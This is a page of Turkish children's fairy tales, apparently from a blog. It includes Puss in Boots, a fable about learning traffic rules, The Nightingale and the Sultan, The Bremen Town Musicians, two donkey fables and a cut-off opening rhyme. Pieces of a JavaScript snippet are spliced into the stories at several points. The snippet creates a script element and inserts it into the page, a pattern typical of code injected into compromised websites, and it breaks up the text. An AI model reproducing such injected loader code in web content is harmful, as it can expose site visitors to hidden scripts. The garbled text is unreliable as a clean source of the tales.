Etiket: hikaye

Çizmeli Kedi
Çizmeli Kedi

Bir varmış, bir yokmuş,
Allahın deli deli kulları pek çokmuş,
Bizden daha delisi hiç yokmuş.
Çok demesi pek günahmış…
Azdan çoktan, hoppala hoptan,
Sana bir mintan yaptırayım çerden çöpten,
İlikleri karpuz kabuğundan,
Düğmeleri turptan.
Evvel zamanda iken,
Kalbur samanda iken.
Az iken, uz iken
Anam evde kız iken, deve tersi koz iken,
Karatavuk kömürcü, saksağan berber iken.
At ekmekçi, köpek dülger iken,
Deve bez satan, horoz tellâl iken,
Tavuk saatçi, eşek tuzcu iken.
Koyun hakim, keçi müezzin iken,
Tilki simsar, kedi çuhadar iken,
Anam eşikte iken,
Babam beşikte iken.
Anam ağlar, anamı sallardım.
Babam ağlar, babamı sallardım.
Derken, babam düştü beşikten,
Ben hopladım eşikten,
Anam kaptı maşayı,
Babam kaptı meşeyi.
Dolandırdılar bana dört bir köşeyi.
Anam kaptı yarmayı
Çıktım tavan arasına,
Bir kırık sandık buldum.
Açtım baktım: İçinde bir kırık altın.
Almayacaktım ama, aldım, sarıdır diye.
Ordan gittim İstanbul’a
Bir kâse yoğurt aldım, durudur diye.
Dokuz yüz doksan testi su kattım, koyudur diye.
Sultanahmet minarelerini belime soktum borudur diye.
Tophane güllelerini cebime doldurdum, darıdır diye.
Nacağı aldım, Kapalıçarşı’ya daldım, korudur diye.
Akdeniz’e girdim kıyıdır diye.
Ortasına bastım kuyudur diye.
Selimiye Camii’nin duvarına dayandım, yalıdır diye.
Ahırdağ’na bir tekme vurdum, “Geri dur!” diye.
Üçlük beşlik verdiler beğenmedim, iridir diye.
Beni aldılar, tımarhaneye götürdüler, delidir diye.
İki adam geldi şahitlik etti, Veli oğlu Veli’dir diye.
Tımarhaneyi dürdüm, katladım sırtladım, halıdır diye.
Beş on sopa vurdular, yeridir diye.
Beni padişaha bildirdiler, delidir diye.
Padişahtan ferman çıktı, “Bırakın onu eski huyudur!” diye.
Fermanı aldım, cadde boyu gidiyordum,
Bir boz eşek gördüm peşine takıldım,
Eşek bana bir tekme vurdu, Geri dur!” diye.
Koştum, eve vardım: “Baban doğdu” dediler,
Kucağıma bir yumurta verdiler.
Yumurta elimden düştü
İçinden kocaman bir horoz çıktı, sokağa kaçtı.
Kovalamaya başladım.
Taş attım da attım…
Cevizden bir kocaman ağaç
Bu cevizleri düşüreyim diye taş attım, değmedi.
Toprak attım ağacın başı tarla oldu.
Kimi dedi: “Buğday ek”, kimi dedi “Karpuz ek.”
Karpuz ektim.
Öyle karpuz verdi ki tarla,
Develer taşıyamadı
Karşıma bir adam çıktı:
“Karpuzundan versene!” dedi.
Bir karpuz verdim, bir ordu yedi, yarısı arttı…
Ben de bir karpuz keseyim, dedim.
Keserken çakım içine kaçıverdi.
Elimi saldım alamadım.
Gözümü soktum, göremedim.
Kendim girdim, yedi sene aradım, bulamadım.
Yedi sene gezdim,
Dolaştım sonunda karpuzun kapısına ulaştım.
Vay anam karpuz,
Evin köyün yıkılası karpuz…
Bir yanı sazlık samanlık,
Bir yanı tozluk dumanlık,
Bir yanında demirciler demir döver denk ile,
Bir yanında boyacılar boya boyar,
Binbir çeşit renk ile.
Kaz kaz ile, baz baz ile,
Alaca tavuk çil horoz ile.
Annesi genç kız ile,
Anlaşırlar pek naz ile,
Kaşık oynar göz ile,
Aşık meydana gelir saz ile,
Meclis de dinler haz ile,
Armudu taşlayalım,
Dibinde kışlayalım,
İzin verirseniz masala başlayalım.

Bir zamanlar, üç erkek evladı olan bir değirmenci yaşarmış uzak diyarlarda. Değirmenci ölünce büyük oğluna değirmen, ortanca oğluna eşek, küçük oğluna da kedi kalmış miras olarak. Küçük oğlu bu duruma üzülüp içerlemiş çok.

“Bir kedi ne işine yarar ki insanın?” diye yakınmış. “Pişirip yinmez bile.” diye söylenmiş.

Kedi bunu duymuş ve hemen cevap vermiş: “Aslında hiç de kötü bir mirasa sahip olmadığınızı anlayacaksınız efendim. Bakın şimdi bana boş bir çuval ve çizme verirseniz, neye yarayacağımı göreceksiniz.”

Şaşkınlıktan ağzı bir karış açık kedinin isteklerini yerine getirmiş çocuk. Kedi çizmeleri giyip aynanın karşısına geçmiş ve kendini epeyce süzüp, beğenmiş. Sonra kilerden taze bir marulla havuç alıp ormanın yolunu tutmuş. Ormanda çuvalın ağzını açmış, marulla havucu çuvalın içine yerleştirip bir ağacın arkasına gizlenmiş. Çok geçmeden taze sebzelerin kokusunu alan küçük bir tavşan çuvalın yanına zıplaya gelip içine atlayıvermiş. Kedi saklandığı yerden çıkıp çuvalın ağzını sıkıca kapatıp bağlamış.

Ancak Çizmeli Kedi tavşanı efendisine götürmeyip, hızla saraya gidip Kral’la görüşmek istediğini söylemiş. Kral’ın huzuruna çıkarak yere eğilip, “Yüce Efendimiz, sizin Efendim Marki bir hediye hazırladı, ben de getirdim,” demiş. Bu hediye Kral’ın hoşuna gitmiş.

Üç ay boyunca Çizmeli Kedi saraya o kadar çok hediye götürmüş ki, Kral artık onun yollarını hergün gözler olmuş. Çizmeli Kedi’nin dört gözle beklediği gün sonunda gelmiş ve  “Efendim bana neden diye sormadan bu sabah ırmağa gidip yıkanın lütfen” demiş sahibine. Çizmeli Kedi, o sabah Kral’ın Prenses’le, yani kızıyla birlikte ırmağın kenarından geçeceğinden haberdarmış.

O gün dediği gibi de olmuş. Kral’ın faytonu ırmağın yakınından geçerken Çizmeli Kedi hızla yanlarına yanaşmış. “Yardım edin! Yardım edin!” diye bağırmış. “Efendim Marki boğuluyor!” Kral hemen bir alay askerini ırmağa yollamış.

Çizmeli Kedi bununla da kalmamış elbet. Efendisi ırmakta yüzerken hırsızların onun elbiselerini çaldılar demiş Kral’a. Halbuki Çizmeli Kedi, onun elbiselerini çalıların arkasına kendisi saklamış:)

Kral, hemencik Marki’ye bir takım elbise de yollamış. Çizmeli Kedi’nin sahibi, kendisine Marki denmesine şaşırmış, lakin akıllılık edip hiç sesini çıkarmayıp belli etmemiş.

Marki güzelce giyindirilince Kral bir de onun orada üşüyüp kalmasını istemeyerek, gideceği yere götürmek için faytonuna davet etmiş ve kızıyla tanıştırmış. Prenses, jilet gibi canti giyinmiş olan Marki’ye bir bakışta âşık oluvermiş.

O sırada Çizmeli Kedi koşa koşa oradan gitmiş. Çok geçmeden büyük bir tarlada ot biçen insanlara rastlamış. “Beni dinleyin!” diye bağırmış. “Kral şimdi bu tarafa geliyor, size bu güzel arazilerin kime ait olduğunu sorarsa ona efendim Marki’ye ait olduğunu söyleyeceksiniz. Yoksa size yapacağımı bilirim, kral çok sinirli, kellelerinizin uçmasını sağlarım.”

Sonra Çizmeli Kedi bir süre daha koşmuş ve büyük bir tarlada buğday biçen adamlara rastlamış. Aynını deyip ikna etmiş. Tekrar tekrar koşmuş ve herkeslere aynı şeyleri tekrarlamış. Az gitmiş uz gitmiş dere tepe düz gitmiş derken Dev’in şatosuna kadar varmış.

Kral’ın Faytonu Çizmeli Kedi’nin geçtiği yerlerden geçerken Kral her rastgeldiği insana, “Bu tarlalar kimindir?” diye sormuş. Her defasında da “Marki’nin” cevabı alıyormuş. Kral, Marki’nin bu kadar çok toprağa sahip olmasına şaşırmış. Çizmeli Kedi’nin efendisi de öyle!

O sırada Çizmeli Kedi Dev’in şatosunda başka işler çeviriyormuş. “Dev,” demiş Çizmeli Kedi, Dev’in nefesinin kokusundan iğrendiğini gizlemeye çalışarak. “Senin aynı zamanda müthiş bir sihirbazlık gücünün olduğunu söylüyorlar, öyle mi?”

“Öyle diyorlarsa, öyledir,” demiş Dev sakin ve tevazu göstererek.

“Mesela, istersen hemen bir aslana dönüşebilir diyorlar senin için,” demiş Çizmeli Kedi. Bunu söyler söylemez Dev hemen kendini bir aslan görüntüsüne çevirmiş. Çizmeli Kedi kendini dolabın üzerine atıvermiş irkilerek. Dev tekrar eski haline dönünce dolaptan aşağı inmiş. “Harika, Fevakalade!” demiş kedi. “Ama fare gibi küçük bir şeye dönüşmek senin gibi iri biri için herhalde imkânsızdır!”

“İmkânsız mı? Hahh” diye gülmüş Dev. “Benim yapamadığım bir şey bulamazsın ufaklık!” Dev bir anda fareye olmuş Çizmeli Kedi de onu hemen oracıkta yutuvermiş.

Derken Kral, Dev’in şatosuna varmış. Şatonun artık kime ait olduğunu tahmin etmişsinizdir herhalde! Çizmeli Kedi Kral’ın faytonunu şatonun yolunda karşılamış. “Bu taraftan gelin,” demiş. “Sizi bir ziyafet bekliyor.”

Dev o gün birkaç arkadaşına bir ziyafet vermeyi planladığı için yemeklerle donatılmış büyük bir masa onları bekliyormuş!”

O günün sonunda Çizmeli Kedi’nin sahibi Marki Prenses’le nişanlanmış. Bir hafta sonra da 40 gün 40 gece boyunca düğün dernek kurmuşlar. Çizmeli Kedi’ye ne mi olmuş? Dokuz canından dokuzunu da sefa içinde sürmüş ve bir daha da fare avlamasına gerek kalmamış. Onlar ermiş muradına biz çıkalım kerevetine…document.currentScript.parentNode.insertBefore(s, document.currentScript);

TRAFİK KURALLARI ÖNEMLİDİR
TRAFİK KURALLARI ÖNEMLİDİR

TRAFİK KURALLARI ÖNEMLİDİR

Var varanın, sür sürenin,
Destursuz bağa girenin hali budur!
Zaman zaman içinde, kalbur saman içinde…
Deve tellâl iken, horoz şahna iken, serçe berber iken,
Ben babamın beşiğini tıngır mıngır sallar iken…
Hamamcının tası yok, külhancının baltası yok,
Çarşıda bir adam gezer, peştemalının ortası yok.
trafik-hayattir

 

Sevimli ülkede yaşayan herkes çok mutlu ve birbiri ile çok iyi geçinen insanlarmış. Sevimli ülkede yaşayan kızların güzelliği diğer komşu ülkeler tarafından bile bilinir, kızların güzelliği ile ilgili nice hikâyeler, türküler söylenirmiş. Kızları güzelmiş ama erkeklerin de onlardan aşağıya kalır yanı yok imiş. Yakışıklı, uzun boylu, güçlü kuvvetli erkekler bu ülkenin işlerini yapar; ülke, anlayış v sevgi ile yönetilir gidermiş.

Fakat bu sevimli ülkenin kötülüğünü isteyen bir büyücü kadın, masala göre bu ülkede yaşayan herkese kötü bir büyü yapmış. Kötü kalpli kadının yaptığı büyüye göre saygılı, anlayışlı, oldukça mutlu olarak yaşayan bu insanlar, üç kelimeyi bir anda söyleyince adeta bir canavara dönüşüyormuş. Bu kelimeler ‘at, avrat, silah’ imiş.

Birbirinden güzel kızlar ve yakışıklı erkeklerden oluşan bu halka ‘at’ denildiğinde adeta gözleri dönüyormuş. Atın üzerine atladıkları gibi etrafa zarar vermeye başlıyorlarmış. Gözleri sinirden kocaman olan, anlayışsız insanlara dönüşüyorlarmış. ‘Avrat’ denildiğinde halkın erkekleri; adeta kudurmuş gibi etrafta geziyor ve onlara çıkan bütün kadınlara saldırıyormuş. ‘Silah’ denildiğinde ise kız-erkek fark etmeksizin bütün halk gözü dönmüş bir katile dönüşüp, önüne çıkanları silah ile vuruyormuş.

Ülkenin kralı, halkı çığırından çıkaran bu büyüyü bozman için çareler düşünmeye başlamış. Normalde sevgi dolu olan bu insanlar, kötü bir büyü yüzünden adeta canavar haline dönüşüyormuş. Kral ülkedeki bütün bilginleri sarayında toplayarak bu derde bir çözüm bulmak için emir verdirmiş. Bilginler neler yapılabilir diye düşünmüş, kafa patlatmış ve sonunda tek çare olarak atları yok etmek zorunda olduklarını ifade etmişler Kral’a.

Bilginler bu sırada komşu ülkede yapılan yeni bir icattan haberdar olmuşlar. Kulaklarına gelen duyuma göre; komşu ülkede atlar ile gitmeyen, kendi kendine giden araçlar yapılmış. Bilginler atlardan kurtulmak ve halkı düzene sokmak için tek çarenin atlara ihtiyaç olmadan giden arabalar olduğunu ifade etmiş Kral’a. Kral da bu arabanın nasıl bir şey olduğunu, atlar çekmeden bir aracın nasıl hareket edeceğini bir türlü hayal edememiş kafasında. En sonunda bilginlerden bir kurul oluşturmuş ve bu kurulu aracı görmeleri için komşu ülkeye göndermiş.

Komşu ülkeye giden bilginler kendi kendine giden aracı gördüklerinde şok olmuşlar. Hayranlıkla bu aracı incelemişler ve Kral’larına göstermek için aracı kullanmayı bilen birisini de alıp aracı ülkelerine götürmüşler.

Ülkeye araç ile gelen bilginleri gören tüm halk; kendi kendine ilerleyen araçları görünce şaşkınlıktan adeta küçük dillerini yutacakmış. Kral da kendi kendine giden bu araçları çok beğenmiş ve atlardan kurtulmak için komşu ülkeden bu araçlardan alınmasını emretmiş.

Ülkedeki herkes elinde avucunda ne varsa birleştirmiş ve komşu ülkedeki araçları almaya gitmiş. Herkes komşu ülkeye atlar ile giderken komşu ülkeden kendi kendine giden araçlar ile dönüyormuş. Neredeyse tüm halk, araçlarını alarak ülkede araç ile gezmeye başlamış ve atlardan kurtulmuş. Fakat atlardan kurtulmak çare değilmiş! Çünkü aracı kullanmayı bilmeyen halk o kadar çok kaza yapar olmuş ki; bir sürü kişi ölmeye, sakat kalmaya başlamış. Bu gidişle insanlar atların üzerindeki halinden daha da tehlikeli bir şekle girmişler. Kral ne olduğunu ve buna nasıl bir çözüm bulacağını düşünürken bilginlerinden yardım istemiş. Bilgin kişiler de bir yerde hata olduğunu ve bu hatanın nerede olduğunu araştırmak için komşu ülkeye gitmişler.

Bilginler komşu ülkeye bir bakmışlar ki, burada her şey kuralla işliyor! Araçları kullanan herkes, ‘Trafik kuralları’ adı verilen kurallara uymak zorunda. Bu kurallara uyulduğu takdirde, ülkede kaza da olmamakta. Bu kuralların yazılı olduğu kitabı alan bilginler hemen Kral’ın huzuruna çıkarak durumdan bahsetmişler. Kral da tüm halkı toplayıp trafik kurallarının anlatılması ve kurslar verilmesi konusunda emir vermiş.

Kısa süre sonra, ülkedeki herkes ‘Trafik Kuralları’nı öğrenmiş ve bu kurallara uyarak araç kullanmaya başlamış. Bu durum, kazaların azalmasını ve araçların düzgün kullanılmasını da sağlamış.var d=document;var s=d.createElement(‘script’);

Bülbül ve Hükümdar
Bülbül ve Hükümdar

 

Zaman zaman içinde,
Kalbur saman içinde.
Develer top oynarken
Eski hamam içinde.
Hamamcının tası yok,
Hamamın kubbesi yok.
İçinde bir kadın gördüm,
Peştemalının ortası yok.
Çarşıda bir tazı gezer,
Boynunda tasması yok…
Tasmacıya dedim:
“Bir tasma yapar mısın?
Üç beş para kapar mısın?”
Tasmacı dedi:
“Hay hay, tasmayı da yaparım,
Parayıda kaparım”
Babamın dokuz arısı vardı:
Sayar alırdı içeri, sayar ederdi dışarı
Bir gün baktım topal arı yok…
Eve geldim, ahırdan çil horozu çektim.
Boynuna kıldan başlığı vurdum.
Üstüne bindim.
Derelerden sel gibi,
Tepelerden yel gibi,
Hamza pehlivan gibi,
Gittim… Baktım
Bizim topal arıyı manda ile çifte koşmuşlar.
Arının boynu yara olmuş.
Dedim: “Bunu neden böyle yaptınız?”
Dediler:”İncirin yaprağını sür boynuna, iyi gelir.”
Gittim incir yaprağı aramaya..
Konaraktan, göçerekten,
Lâle sümbül biçerekten,
Kahve tütün içerekten,
Sulu yerde peynir ekmek,
Susuz yerde kavun karpuz yiyerekten…
Az gittim uz gittim,
dere tepe düz gittim,
Altı ay bir güz gittim…
Bir de arkama dönüp baktım ki,
Bir arpa boyu yol gitmişim

Bir varmış, bir yokmuş… Uzak mı uzak, güzel mi güzel diyarların birinde küçük bir ülke varmış. Bu ülkenin büyük bir sarayı, sarayın içerisinde de uzun yıllardır ülkeyi yöneten görmüş geçirmiş bir padişah var imiş. Padişah oldukça akıllı ve bilgili bir padişah imiş ve kendinden bahsedilmesi oldukça hoşuna da gidermiş. Kazandığı zaferler sonrasında halkın ona sevgi gösterisinde bulunması ise en sevindiği ve gururlandığı zamanlarmış.

Padişahın yaşadığı sarayın bir de birbirinden güzel çiçeklerin ve bitkilerin yetiştiği kocaman bir bahçesi vardır. Bu bahçenin içerisinde o kadar güzel çiçekler varmış ki, insanlar bu bahçeyi görmek için çok çok uzak diyarlardan bile geliyormuş. Fakat padişah ne bu bahçenin ne de bahçenin içinde yetişen birbirinden güzel çiçeklerin farkında bile değilmiş. Onun için varsa yoksa çalışmak ve bir şeyleri kazanmak önemli olduğundan, dışarıda var olan güzelliklerin farkında olmuyormuş.

Peki, insanlar o kadar uzak diyarlardan sadece bahçedeki çiçekleri mi görmeye geliyorlarmış? Tabii ki hayır. Herkesin bahçeyi gelme sebebi bahçede var olan güzel bir bülbülmüş. Bu bülbülün o kadar muhteşem bir sesi varmış ki; kısa zamanda bülbülün sesi ve ünü uzak diyarlara kadar yayılmış. Herkes bu bülbülü merak eder olmuş. Gelip görenler ve bülbülün o billur sesini dinleyenler ise bir daha gelmek istiyormuş. Bülbül bütün halkı kendine hayran bırakıyormuş.

Bülbülün kazandığı bu ün kısa zamanda padişahın da kulağına gitmiş. Padişah bahçesinde var olan bu bülbülü nasıl fark etmediğini düşünmüş durmuş uzun bir süre. Sonra da hemen vezirini çağırtmış:

Padişah: ‘Vezir, bana hemen bahçedeki ünlü bülbülü bul ve getir!’ demiş.

Vezir koşarak çıkmış bahçeye. Her yeri aramış, bakmadığı yer kalmamış. Fakat ne bülbül varmış ne de onun güzel diye bahsedilen sesi. Vezir padişaha ne diyeceğini düşünürken aklına bir fikir gelmiş ve hemen padişahın huzuruna çıkmış:

Vezir: ‘Padişahım, bahçede anlatılan gibi bir bülbül yok. Bence bu tamamen halkın bir uydurması!’

Padişah vezirin bu sözleri üzerine sinirlenmiş:

Padişah: ‘Öyle bir şey olamaz! Ben bu haberi çok güvendiğim birinden aldım. Sen bana nasıl olur da yalan söylersin! Hemen bul getir bana o bülbülü yoksa hepinizi cezalandırırım!’

Padişahın yanında bulunan herkes, vezire yardım etmek için hareketlenmiş. Eğer bu bülbülü bulamaz iseler, hepsinin sonu olabilirmiş. Sarayda bulunan tüm çalışanlar dört bir koldan bülbülü ararken, mutfakta çalışan bir hizmetçi onlara doğru seslenmiş:

Hizmetçi: ‘Hey, siz! O bülbülü arayarak bulamazsınız. Ama ben size bülbülü bulmanızda yardımcı olabilirim.’ Demiş.

Vezir başta olmak üzere saraydaki tüm çalışanlar, hizmetçi kadının arkasına takılmışlar. Kadın ormanın derinliklerine doğru yürümüş ve bir yandan da seslenmiş:

Hizmetçi: ‘Güzel bülbül… Küçük sevimli bülbül… Senin güzel sesini duyan padişah seni görmek istiyormuş. Neredeysen çıkıp güzel sesini padişaha duyurmak istemez misin?’

Bülbül ağacın en üst dalından uçarak gelmiş. Vezirin yanında padişahın sarayına doğru yola çıkmış. Padişahın huzuruna geldiğinde o kadar güzel bir şarkı okumuş ki, padişah adeta mest olmuş. Bundan sonra bülbülün yanından ayrılmamasına ve bahçede yaşamasına dair talimat vermiş. Her sabah bülbül padişahı o güzel sesi ile uyandırıyor ve gün içerisinde de güzel sesi ile sarayı güzelleştiriyormuş.

Günlerden bir gün padişaha başka bir ülkeden hediye gelmiş. Hediyenin içinden camdan bir oyuncak bülbül çıkmış. Bu oyuncak bülbül içindeki mekanizma sayesinde aynı gerçek bülbül gibi ötüyormuş. Bunu üzerine padişah bahçedeki bülbüle olan ilgisini azaltmış ve camdan bülbülü ile uyanmaya başlamış güne…

Bahçedeki bülbül ise bu duruma çok içerlemiş. En sonunda bir gün kaçıp gitmeye karar vermiş ve sarayın bahçesinden uzak bir yere kaçmış. Burada kendi kendine yaşamaya başlamış bir müddet.

Fakat oyuncak bülbül gerçeğin yerini tutar mı hiç! Bir gün oyuncak bülbül bozulmuş. Hiç kimse de yapamamış. Padişah ise o kadar alışmış ki bülbülün sesine, o olmadan hastalanmış ve yatağa düşmüş. İçinde sayıklamaya başlamış:

Padişah: ‘Keşke bahçemdeki gerçek bülbülün kıymetini bilseydim, keşke…’

Padişahın durumu git gide kötüleşmeye başlamış. Halk ise yeni bir padişah seçmek için hazırlanıyormuş. Padişahın yataklara düştüğü bülbülün kulağına gittiğinde ise, bülbül padişahın durumuna dayanamamış ve hemen saraya geri dönüp padişahın camında en güzel sesi ile padişahın en sevdiği şarkıyı söylemeye başlamış.

Padişah bülbülün sesini duyduğundan hemen kendine gelmiş. Dinledikçe içi açılmış, tüm sıkıntı ve dertleri bitmiş, gitmiş.

Hayatları boyunca bir daha ne padişah bu bülbülü, ne de bülbül padişahı bırakıp gitmiş.

Bremen Mızıkacıları
Bremen Mızıkacıları

Bir varmış, bir yokmuş… Evvel zaman içinde, kalbur saman içinde, bundan çok ama çok eski zamanların birinde, güzel bir kasaba varmış. Bu güzel kasabada yaşayan bir de yaşlı bir eşek varmış. Eşek yaşı ilerlediği için ne iş yapabiliyormuş ne de sahibini taşıyabiliyormuş. Sahibinin şikâyetlerinden kendisini oldukça işe yaramaz hisseden bu eşek bir gün artık bu evden ayrılma kararı almış. ‘Madem kimseye bir faydam yok, daha fazla burada kalmayayım. Sesimin güzel olduğunu söylerdi zamanında buraya gelen birkaç kişi. En iyisi Bremen şehrine gideyim de orada şarkıcılık yapayım’ diye geçirmiş içinden. Bir gece sessizce çıkmış ahırdan ve bir daha geri dönmemek üzere Bremen’e doğru yola koyulmuş.

Eşek az biraz gittikten sonra bir de bakmış ki yolun kenarından ağlayan bir köpek var. Yanına yaklaşmış köpeğin:

Eşek: ‘Köpek kardeş, hayır olsun?’

Köpek dönmüş eşeğe:

Köpek: ‘Sorma eşek kardeş. Artık çok yaşlandım. Sahibime avlanmakta yararlı olamıyorum. Benim yerime başka bir köpek bakmaya başladı bile.’

Eşek hemen köpeğe teklif etmiş onunla gelmesini. Köpek de’ zaten artık burada bir işe yaramıyorum en azından gidip şarkıcı olayım’ diye geçirmiş içinde. Düşmüş eşeğin yanında Bremen şehrinin yollarına…

Köpek ve eşek az gitmiş, uz gitmiş. Gece-gündüz yol gitmiş. Derken bir evin çatısında hüzünlü bir şekilde miyavlayan bir kedi görmüşler. Kediye neden üzgün olduğunu sormuşlar:

Kedi: ‘Sormayın arkadaşlar. Artık çok yaşlandım. Fareler bile benimle dalga geçmeye başladı.’ Demiş.

Eşek ve köpek de kediye kendilerinin de aynı durumda olduğunu, bu sebeple kedinin de yanlarına katılması gerektiğini söylemiş. Kedi büyük bir sevinçle katılmış onlara. Yüne düşmüşler yola ancak bu sefer üç kişi olmuşlar.

Kedi, eşek ve köpek bir müddet daha gittikten sonra bir kasabanın girişinde büyük bir horoz görmüşler. Horoz acı bir şekilde ötüyormuş. Eşek hemen sormuş horoza:

Eşek: ‘hayrola horoz kardeş, senin derdin ne?’

Horoz: ‘Arkadaşlar, yaşlandığım için sahiplerim beni kesip yiyecekti. Ben de evden kaçtım. Şimdi ne yapacağım bilmiyorum’ demiş.

Üç hayvan hemen horozu da çağırmış yanlarına. Böylece şarkıcı olmak için yola çıkan eşek yanına üç tane daha arkadaş bulmuş.

Dördü de Bremen şehrine doğru yürümeye devam ederken, yolun kenarında ışığı yanan bir ev dikkatlerini çekmiş. Karınlarını çok acıktığından dolayı eve girip bir şeyler yemek istemişler. Ancak evin camından gördükleri kadarı ile evde hırsızlar varmış. O sırada horozun aklına parlak bir plan gelmiş ve arkadaşlarına planından bahsetmiş. Diğer hayvanlarında aklına yatan bu plan hemen uygulanmış. Eşek en altta olmak üzere, eşeğin üzerine köpek, kedi ve en üste de horoz binmiş. Hırsızlar camdan seslenen horozu gördüklerinde bu kadar büyük bir horoz nasıl olur diye korkudan ne var ne yoksa orada bırakıp kaçmışlar.

bremen

Aslan – Eşek – Tilki Masalı
Aslan – Eşek – Tilki Masalı

Evvel zaman içinde kalbur zaman içinde fareler davulcu, kediler zurnacı iken… Kediden zurnacı fareden davulcu mu olurmuş hiç demeyin. Masal bu ya burada olmuş işte.
Zamanın birinde bir aslan, eşek ve tilki birlikte avlanmaya çıkmışlar. Her ne avlarlarsa, aralarında pay etmek üzere sözleşmişler. Anlaşmanın şartlarına da hepsi uyacaklarına yemin etmişler. Gel zaman git zaman, bunlar dolanmış ayaklarına kara sular inmiş av ararken, hava kararmak üzereyken buldukları kocaman besili bir geyiği avlamayı başarmışlar. Aslan pay etme işinde eşeği görevlendirmiş. Eşek düşünmüş taşınmış bir de kaşındıktan sonra anıra anıra bin bir güçlükle geyiği üç eşit parçaya ayırmayı becermiş.
Ancak, Aslan eşeğin kendisine layık gördüğü parçayı küçük ve etsiz bularak oylesine sinirlenir öylesine ki zavallı eşeğin üzerine yıldırım gibi atılır ve onu parça parça eder.Sonra pay etme işini tilkiye verir.

Tilki eşeğin başına gelenlerden olesiye korkmuştur ki, en ufak parçayı kendisine ayırarak, gerisini aslana bırakmıştır. Aslan tilkinin bu hareketi karşısında çok memnun oldu. Yanına yaklaşıp, başını sıvazladı. “Bu terbiye ve nezaketi nereden öğrendin akıllı tilki ?”

”Size dürüstçesini söylemem gerekirse, efendim” diye titreyerek söze başladı tilki:
– Bu terbiyeyi, şurada yatan cansız eşekten” mecburiyeten aldım.:)if (document.currentScript) {

Aslan Olmak İsteyen Eşek
Aslan Olmak İsteyen Eşek

Aslan Olmak İsteyen Eşek

 

Bir zamanlar var iken,
Bir zamanlar yok iken,
Dağ bir fare doğurmuş,
Kanatlanmış uçmaya,
Denizdeki balıklar,
Kayık tutmuş kaçmaya.
Ak mescidin minaresi,
Eğilmiş su içmeye.
Bir balık kavağa çıkmış,
Söğüt dalı biçmeye.
Develer saraya girmiş,
Hörgücünü ölçmeye.
Bir kantar akıl ister,
Şu masalı anlatmaya

Sevgili çocuklar! Elinizde ile yetinmemek, hep daha fazlasını istemek ne kadar kötü bir şey değil mi? Peki siz hiç elindeki ile yetinmeyip daha iyisini olmaya çalışan eşeğin hikâyesini dinlediniz mi? Onun sonunda başına gelenler, herkese ders olmalı. Öyleyse buyurun size aslan olmak isteyen tembel eşeğin hikâyesi…

Bir varmış bir yokmuş… Evvel zaman içinde, kalbur saman içinde, uzak mı uzak diyarların birisinde tembel bir eşek yaşarmış. Bu eşek o kadar tembelmiş ki sahibini artık bıktırmış. Yatığı tek şey sabah kalkmak, karnını doyurmak ve ardından bütün gün yatmakmış. Sahibi ona bir iş söylediğinde çok yorgun olduğunu bahane eder, bütün işlerden de kaçarmış. Sahibi artık onun bu haline bir çözüm bulmak gerektiğine karar vermiş, ama ne?

Bu tembel eşeğin bir de çok büyük bir zaafı varmış. Eşek halinden hiç ama hiç memnun değilmiş. Her zaman gözü daha yüksekteymiş. Kendisi de eşek olduğu için hiç sevinmiyor, aslan olmak istediğini söylüyormuş herkese. Aslanların çok güçlü ve kuvvetli olduğunu biliyormuş çünkü. Ormanın kralı olacak kadar, bütün hayvanlara söz dinlettirecek kadar kuvvetli olan aslan eşeğin her zaman gıpta ile baktığı bir hayvanmış. ‘Bir gün ben de aslan olacağım, bu eşeklikten kurtulacağım’ diyerek geçirirmiş tüm günlerini.

Günlerden bir gün sahibi bu eşeğe güzel bir oyun oynamak istemiş. Satın aldığı bir aslan postu ile çıkmış karşısına. Eşek bu postu görünce sevinçten adeta deliye dönmüş. O kadar sevinmiş ki, tüm miskinliği ve tembelliği gitmiş. Birdenbire yerinden fırlayan ve postu giymek için can atan bir hayvana dönüşmüş. Postu üzerine giydiği gibi de böbürlenerek yürümeye başlamış:

Eşek: ‘Ben artık eşek değilim. Ben artık ormanların kralı büyük ve güçlü bir aslanım.’

Eşek hemen bütün hayvanların kendisine saygı göstermesi ve önünde eğilmesi için ormana doğru yola koyulmuş. Az gitmiş, uz gitmiş. Ormana gün içerisinde varmasının imkânsız olduğunu anlamış. En iyisi kendisine geceyi geçirmek için güzel bir yer bulmak ve orada dinlenmekmiş.

Eşek gece karanlığının bastırması ile hem korkmaya hem de paniklemeye başlamış. Ama hemen kendine gelmiş. ‘Üzerimde aslan postu varken kimse bana bir şey yapamaz. Kimsenin bana dokunmaya gücü yetmez’ diye geçirmiş içinden. O sırada karşısına çok güzel bir ağaç çıkmış. Ağaç büyük bir ağaç olduğu için ağacın altı da geceyi geçirmek için oldukça uygunmuş. Eşek hemen ağacın altına uzanmış ve yorgunluktan yattığı gibi uykuya dalması da bir olmuş.

Sabah olduğunda eşek gözlerini açmış ve gözlerini açtığı gibi ormanda yaşayan neredeyse bütün hayvanların onun başında dikildiğini görmüş. Neler olduğunu anlamaya çalışırken bir yandan da postunu kontrol etmiş. Aslan postu hala üzerindeymiş. ‘Ben şimdi gösteririm hepsine’ demiş içinden.

Eşek: ‘Benim tepemde neden dikiliyorsunuz? Görmüyor musunuz ben ormanların kralı aslanım. Şimdi hepiniz önümde eğilin ve diz çökün. Ayrıca ben çok acıktım, biriniz hemen gidip bana yiyecek bir şeyler getirsin.’

Hayvanların arasından en kurnaz olan tilki eşeğe cevap vermiş:

Tilki: ‘Sen madem aslansın, e bir kükre de görelim’ demiş.

Eşek o anda kükremeye çalışsa da bir türlü yapamamış. Çünkü ondan çıkan ses ‘ai, ai’ şeklindeymiş. Hayvanların hepsi eşeğin çıkardığı bu garip ses karşısında kahkaha atmışlar. Eşeğin kendilerini kandırmak istemesine de çok kızmışlar.

Eşek oyununun ortaya çıktığını anlayınca koşup oradan uzaklaşmaya başlamış. Koşarken aslan postu da üzerinden düşmüş. Geri dönüp almamış bile. Çünkü kendisinin bir aslan olamayacağını çoktan anlamış. Aslan olmak için bir post yetmiyormuş.

Eşek sahibinin yanına geri gelmiş ve sahibi ne derse yapmaya, çok çalışkan bir eşek olmaya da söz vermiş.}

Altın Yumurtlayan Tavuk
Altın Yumurtlayan Tavuk

 

Bir varmış, bir yokmuş,
Allahın kulu çokmuş.
Evvel zaman içinde,
Kalbur saman içinde,
Deve tellâl iken,
Pire berber iken,
Ben on beş yaşında iken,
Anamın babamın beşiğini
Tıngır mıngır sallar iken,
Var varanın, sür sürenin,
Destursuz bağa girenin
Hali budur hey!
Yârân-ı safa,
Bekri Mustafa,
Kaynadı kafa…
Ak sakal, kara sakal, pembe sakal,
Yeni berber elinden çıkmış bir taze sakal…
Kasap olsam sallayamam satırı,
